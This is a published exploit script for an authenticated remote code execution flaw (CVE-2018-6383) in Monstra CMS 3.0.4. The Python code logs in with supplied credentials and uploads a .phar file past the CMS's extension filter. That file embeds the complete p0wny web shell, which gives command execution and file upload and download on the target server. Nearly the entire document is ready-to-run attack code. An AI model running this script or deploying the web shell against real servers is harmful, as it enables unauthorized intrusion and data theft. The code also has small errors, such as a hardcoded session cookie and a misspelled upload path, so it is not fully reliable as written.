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Monstra CMS 3.0.4 - Remote Code Execution (Authenticated)

Ron Jost

# Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (Authenticated)
# Date: 03.06.2021
# Exploit Author: Ron Jost (hacker5preme)
# Vendor Homepage: https://monstra.org/
# Software Link: https://monstra.org/monstra-3.0.4.zip
# Version: 3.0.4
# Tested on: Ubuntu 20.04
# CVE: CVE-2018-6383
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-6383-Exploit

'''
Description:
Monstra CMS through 3.0.4 has an incomplete "forbidden types" list that excludes .php (and similar) file extensions
but not the .pht or .phar extension, which allows remote authenticated Admins or Editors to execute arbitrary PHP code
 by uploading a file, a different vulnerability than CVE-2017-18048.
'''


'''
Import required modules:
'''
import argparse
import requests


'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Exploit for CVE-2018-6383')
my_parser.add_argument('-T', type=str, help='Target IP')
my_parser.add_argument('-P', type=str, help='Target Port')
my_parser.add_argument("-U", type=str, help="Monstra CMS Path")
my_parser.add_argument('-u', type=str, help="Username")
my_parser.add_argument('-p', type=str, help='Password')
args = my_parser.parse_args()
target_ip = args.T
target_port = args.P
Monstracms_path = args.U
username = args.u
password = args.p


'''
Exploit:
'''
# Cookies:
session = requests.Session()
url = "http://" + target_ip + ':' + target_port + Monstracms_path + 'admin/index.php'
cookies = session.get(url).cookies.get_dict()
value = cookies['PHPSESSID']
cookies = {
    "__atuvc": "9%7C22",
    'PHPSESSID': 'sga7s1jb0o3b7dlueh5soin8a9'
}

# Construct authentication header:
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://" + target_ip,
    "Connection": "close",
    "Referer": "http://" + target_ip + ':' + target_port + Monstracms_path + 'admin/index.php',
    "Upgrade-Insecure-Requests": "1"}

# Construct authentication body
body = {
    "login": username,
    "password": password,
    "login_submit": "Log In"}
x = requests.post(url, headers=headers, cookies=cookies, data=body)

# Construct Exploit link:
url = "http://" + target_ip + ':' + target_port + Monstracms_path + 'admin/index.php?id=filesmanager'

# Construct Exploit header:
header = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "multipart/form-data; boundary=---------------------------27822155982314896762160847658",
    "Origin": "http://" + target_ip,
    "Connection": "close",
    "Referer": "http://" + target_ip + Monstracms_path + 'admin/index.php?id=filesmanager',
    "Upgrade-Insecure-Requests": "1"
}

# Construct Exploit data:
burp0_data = "-----------------------------27822155982314896762160847658\r\nContent-Disposition: form-data; name=\"csrf\"\r\n\r\n1e71963993909d612c40962b401c556b70e9bb3c\r\n-----------------------------27822155982314896762160847658\r\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n                display: flex;\n                flex-direction: column;\n                align-items: stretch;\n            }\n\n            #shell-content {\n                height: 500px;\n                overflow: auto;\n                padding: 5px;\n                white-space: pre-wrap;\n                flex-grow: 1;\n            }\n\n            #shell-logo {\n                font-weight: bold;\n                color: #FF4180;\n                text-align: center;\n            }\n\n            @media (max-width: 991px) {\n                #shell-logo {\n                    font-size: 6px;\n                    margin: -25px 0;\n                }\n\n                html, body, #shell {\n                    height: 100%;\n                    width: 100%;\n                    max-width: none;\n                }\n\n                #shell {\n                    margin-top: 0;\n                }\n            }\n\n            @media (max-width: 767px) {\n                #shell-input {\n                    flex-direction: column;\n                }\n            }\n\n            @media (max-width: 320px) {\n                #shell-logo {\n                    font-size: 5px;\n                }\n            }\n\n            .shell-prompt {\n                font-weight: bold;\n                color: #75DF0B;\n            }\n\n            .shell-prompt > span {\n                color: #1BC9E7;\n            }\n\n            #shell-input {\n                display: flex;\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n                border-top: rgba(255, 255, 255, .05) solid 1px;\n            }\n\n            #shell-input > label {\n                flex-grow: 0;\n                display: block;\n                padding: 0 5px;\n                height: 30px;\n                line-height: 30px;\n            }\n\n            #shell-input #shell-cmd {\n                height: 30px;\n                line-height: 30px;\n                border: none;\n                background: transparent;\n                color: #eee;\n                font-family: monospace;\n                font-size: 10pt;\n                width: 100%;\n                align-self: center;\n            }\n\n            #shell-input div {\n                flex-grow: 1;\n                align-items: stretch;\n            }\n\n            #shell-input input {\n                outline: none;\n            }\n        </style>\n\n        <script>\n            var CWD = null;\n            var commandHistory = [];\n            var historyPosition = 0;\n            var eShellCmdInput = null;\n            var eShellContent = null;\n\n            function _insertCommand(command) {\n                eShellContent.innerHTML += \"\\n\\n\";\n                eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n                eShellContent.innerHTML += escapeHtml(command);\n                eShellContent.innerHTML += \"\\n\";\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _insertStdout(stdout) {\n                eShellContent.innerHTML += escapeHtml(stdout);\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _defer(callback) {\n                setTimeout(callback, 0);\n            }\n\n            function featureShell(command) {\n\n                _insertCommand(command);\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n                } else if (/^\\s*clear\\s*$/.test(command)) {\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n                    eShellContent.innerHTML = '';\n                } else {\n                    makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n                        if (response.hasOwnProperty('file')) {\n                            featureDownload(response.name, response.file)\n                        } else {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        }\n                    });\n                }\n            }\n\n            function featureHint() {\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete\n\n                function _requestCallback(data) {\n                    if (data.files.length <= 1) return;  // no completion\n\n                    if (data.files.length === 2) {\n                        if (type === 'cmd') {\n                            eShellCmdInput.value = data.files[0];\n                        } else {\n                            var currentValue = eShellCmdInput.value;\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n                        }\n                    } else {\n                        _insertCommand(eShellCmdInput.value);\n                        _insertStdout(data.files.join(\"\\n\"));\n                    }\n                }\n\n                var currentCmd = eShellCmdInput.value.split(\" \");\n                var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n                var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n                makeRequest(\n                    \"?feature=hint\",\n                    {\n                        filename: fileName,\n                        cwd: CWD,\n                        type: type\n                    },\n                    _requestCallback\n                );\n\n            }\n\n            function featureDownload(name, file) {\n                var element = document.createElement('a');\n                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n                element.setAttribute('download', name);\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.click();\n                document.body.removeChild(element);\n                _insertStdout('Done.');\n            }\n\n            function featureUpload(path) {\n                var element = document.createElement('input');\n                element.setAttribute('type', 'file');\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.addEventListener('change', function () {\n                    var promise = getBase64(element.files[0]);\n                    promise.then(function (file) {\n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        });\n                    }, function () {\n                        _insertStdout('An unknown client-side error occurred.');\n                    });\n                });\n                element.click();\n                document.body.removeChild(element);\n            }\n\n            function getBase64(file, onLoadCallback) {\n                return new Promise(function(resolve, reject) {\n                    var reader = new FileReader();\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n                    reader.onerror = reject;\n                    reader.readAsDataURL(file);\n                });\n            }\n\n            function genPrompt(cwd) {\n                cwd = cwd || \"~\";\n                var shortCwd = cwd;\n                if (cwd.split(\"/\").length > 3) {\n                    var splittedCwd = cwd.split(\"/\");\n                    shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n                }\n                return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n            }\n\n            function updateCwd(cwd) {\n                if (cwd) {\n                    CWD = cwd;\n                    _updatePrompt();\n                    return;\n                }\n                makeRequest(\"?feature=pwd\", {}, function(response) {\n                    CWD = response.cwd;\n                    _updatePrompt();\n                });\n\n            }\n\n            function escapeHtml(string) {\n                return string\n                    .replace(/&/g, \"&\")\n                    .replace(/</g, \"<\")\n                    .replace(/>/g, \">\");\n            }\n\n            function _updatePrompt() {\n                var eShellPrompt = document.getElementById(\"shell-prompt\");\n                eShellPrompt.innerHTML = genPrompt(CWD);\n            }\n\n            function _onShellCmdKeyDown(event) {\n                switch (event.key) {\n                    case \"Enter\":\n                        featureShell(eShellCmdInput.value);\n                        insertToHistory(eShellCmdInput.value);\n                        eShellCmdInput.value = \"\";\n                        break;\n                    case \"ArrowUp\":\n                        if (historyPosition > 0) {\n                            historyPosition--;\n                            eShellCmdInput.blur();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                            _defer(function() {\n                                eShellCmdInput.focus();\n                            });\n                        }\n                        break;\n                    case \"ArrowDown\":\n                        if (historyPosition >= commandHistory.length) {\n                            break;\n                        }\n                        historyPosition++;\n                        if (historyPosition === commandHistory.length) {\n                            eShellCmdInput.value = \"\";\n                        } else {\n                            eShellCmdInput.blur();\n                            eShellCmdInput.focus();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                        }\n                        break;\n                    case 'Tab':\n                        event.preventDefault();\n                        featureHint();\n                        break;\n                }\n            }\n\n            function insertToHistory(cmd) {\n                commandHistory.push(cmd);\n                historyPosition = commandHistory.length;\n            }\n\n            function makeRequest(url, params, callback) {\n                function getQueryString() {\n                    var a = [];\n                    for (var key in params) {\n                        if (params.hasOwnProperty(key)) {\n                            a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n                        }\n                    }\n                    return a.join(\"&\");\n                }\n                var xhr = new XMLHttpRequest();\n                xhr.open(\"POST\", url, true);\n                xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n                xhr.onreadystatechange = function() {\n                    if (xhr.readyState === 4 && xhr.status === 200) {\n                        try {\n                            var responseJson = JSON.parse(xhr.responseText);\n                            callback(responseJson);\n                        } catch (error) {\n                            alert(\"Error while parsing response: \" + error);\n                        }\n                    }\n                };\n                xhr.send(getQueryString());\n            }\n\n            document.onclick = function(event) {\n                event = event || window.event;\n                var selection = window.getSelection();\n                var target = event.target || event.srcElement;\n\n                if (target.tagName === \"SELECT\") {\n                    return;\n                }\n\n                if (!selection.toString()) {\n                    eShellCmdInput.focus();\n                }\n            };\n\n            window.onload = function() {\n                eShellCmdInput = document.getElementById(\"shell-cmd\");\n                eShellContent = document.getElementById(\"shell-content\");\n                updateCwd();\n                eShellCmdInput.focus();\n            };\n        </script>\n    </head>\n\n    <body>\n        <div id=\"shell\">\n            <pre id=\"shell-content\">\n                <div id=\"shell-logo\">\n        ___                         ____      _          _ _        _  _   <span></span>\n _ __  / _ \\__      ___ __  _   _  / __ \\ ___| |__   ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_  ..  _|<span></span>\n| |_) | |_| |\\ V  V /| | | | |_| | | (_| \\__ \\ | | |  __/ | |_   |_      _|<span></span>\n| .__/ \\___/  \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)    |_||_|  <span></span>\n|_|                         |___/  \\____/                                  <span></span>\n                </div>\n            </pre>\n            <div id=\"shell-input\">\n                <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n                <div>\n                    <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n                </div>\n            </div>\n        </div>\n    </body>\n\n</html>\n\r\n-----------------------------27822155982314896762160847658\r\nContent-Disposition: form-data; name=\"upload_file\"\r\n\r\nUpload\r\n-----------------------------27822155982314896762160847658--\r\n"

# Exploit:
x = requests.post(url, headers=header, cookies=cookies, data=burp0_data)

# Finish:
print('')
print('Please login in your webrowser and then open the following URL:')
print('File uploaded to: http://' + target_ip + ':' + target_port + Monstracms_path + 'public/uplaods/shell.phar')
print('')

date: 2021-06-04, platform: webapps, type: php